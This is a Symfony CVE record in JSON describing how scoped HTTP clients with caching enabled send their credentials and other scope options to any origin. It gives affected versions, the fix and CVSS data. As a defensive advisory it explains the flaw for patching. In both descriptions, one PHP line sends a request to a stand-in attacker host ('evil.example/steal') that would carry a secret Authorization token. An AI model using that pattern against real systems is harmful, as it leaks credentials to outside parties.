{"dataType":"CVE_RECORD","dataVersion":"5.2","cveMetadata":{"cveId":"CVE-2026-133747","assignerOrgId":"b5aa5c7f-767d-4597-9c64-3ac08b8711c6","state":"PUBLISHED","assignerShortName":"Symfony","dateReserved":"2026-11-20T14:01:43.157Z","datePublished":"2026-11-25T10:00:07.584Z","dateUpdated":"2026-11-25T10:00:07.584Z"},"containers":{"cna":{"providerMetadata":{"orgId":"b5aa5c7f-767d-4597-9c64-3ac08b8711c6","shortName":"Symfony","dateUpdated":"2026-11-25T10:00:07.584Z"},"title":"Scoped HTTP Clients With Caching Enabled Send Their Credentials to Any Origin","datePublic":"2026-11-25T09:36:02.000Z","descriptions":[{"lang":"en","value":"Since Symfony 7.4, framework.http_client.scoped_clients can enable caching on a scoped client. FrameworkBundle then puts a CachingHttpClient inside the ScopingHttpClient, with the options of the scope as default options. CachingHttpClient merges them into every request. So the credentials of the scope, like auth_bearer, auth_basic or an Authorization header, are also sent to URLs outside the scope:\n\nframework:\n    http_client:\n        scoped_clients:\n            github.client:\n                base_uri: 'https://api.github.com'\n                headers: { Authorization: 'token GH-SECRET' }\n                caching: { enabled: true }\n\n$githubClient->request('GET', 'https://evil.example/steal'); // sent with \"Authorization: token GH-SECRET\"\n\nEvery option of the scope applies outside of it, not only the credentials, for example verify_peer: false, a client certificate, proxy or resolve. Without caching, ScopingHttpClient sends no option of the scope to evil.example. Applications are affected when a scoped client with caching enabled requests a URL that an attacker can influence, absolute URLs included.\n\nThe CachingHttpClient of a scoped client is now registered without default options. ScopingHttpClient already applies them to the requests that match the scope.","supportingMedia":[{"type":"text/markdown","base64":false,"value":"Since Symfony 7.4, `framework.http_client.scoped_clients` can enable caching on a scoped client. FrameworkBundle then puts a `CachingHttpClient` inside the `ScopingHttpClient`, with the options of the scope as default options. `CachingHttpClient` merges them into every request. So the credentials of the scope, like `auth_bearer`, `auth_basic` or an `Authorization` header, are also sent to URLs outside the scope:\n\n```yaml\nframework:\n    http_client:\n        scoped_clients:\n            github.client:\n                base_uri: 'https://api.github.com'\n                headers: { Authorization: 'token GH-SECRET' }\n                caching: { enabled: true }\n```\n\n```php\n$githubClient->request('GET', 'https://evil.example/steal'); // sent with \"Authorization: token GH-SECRET\"\n```\n\nEvery option of the scope applies outside of it, not only the credentials, for example `verify_peer: false`, a client certificate, `proxy` or `resolve`. Without `caching`, `ScopingHttpClient` sends no option of the scope to `evil.example`. Applications are affected when a scoped client with caching enabled requests a URL that an attacker can influence, absolute URLs included.\n\nThe `CachingHttpClient` of a scoped client is now registered without default options. `ScopingHttpClient` already applies them to the requests that match the scope."}]}],"affected":[{"vendor":"Symfony","product":"symfony/framework-bundle","collectionURL":"https://packagist.org","packageName":"symfony/framework-bundle","repo":"https://github.com/symfony/symfony","defaultStatus":"unaffected","versions":[{"version":"7.4.0","status":"affected","lessThan":"7.4.24","versionType":"semver"},{"version":"8.0.0","status":"affected","lessThan":"8.1.12","versionType":"semver"}]},{"vendor":"Symfony","product":"symfony/symfony","collectionURL":"https://packagist.org","packageName":"symfony/symfony","repo":"https://github.com/symfony/symfony","defaultStatus":"unaffected","versions":[{"version":"7.4.0","status":"affected","lessThan":"7.4.24","versionType":"semver"},{"version":"8.0.0","status":"affected","lessThan":"8.1.12","versionType":"semver"}]}],"problemTypes":[{"descriptions":[{"lang":"en","cweId":"CWE-200","description":"CWE-200 Exposure of Sensitive Information to an Unauthorized Actor","type":"CWE"}]},{"descriptions":[{"lang":"en","cweId":"CWE-522","description":"CWE-522 Insufficiently Protected Credentials","type":"CWE"}]}],"metrics":[{"format":"CVSS","scenarios":[{"lang":"en","value":"GENERAL"}],"cvssV4_0":{"version":"4.0","vectorString":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","baseScore":6.3,"baseSeverity":"MEDIUM"}}],"references":[{"url":"https://symfony.com/cve-2026-133747","name":"CVE-2026-133747","tags":["vendor-advisory"]},{"url":"https://github.com/symfony/symfony/security/advisories/GHSA-4vfr-w5wp-83fr","name":"GHSA-4vfr-w5wp-83fr","tags":["vendor-advisory"]},{"url":"https://github.com/symfony/symfony/commit/b5c9d4329ece256385a84fa06776315beab68974","tags":["patch"]}],"credits":[{"lang":"en","value":"Nicolas Grekas","type":"remediation developer"}],"source":{"advisory":"GHSA-4vfr-w5wp-83fr","discovery":"UNKNOWN"},"x_generator":{"engine":"symfony/ghsa-to-cve"}}}}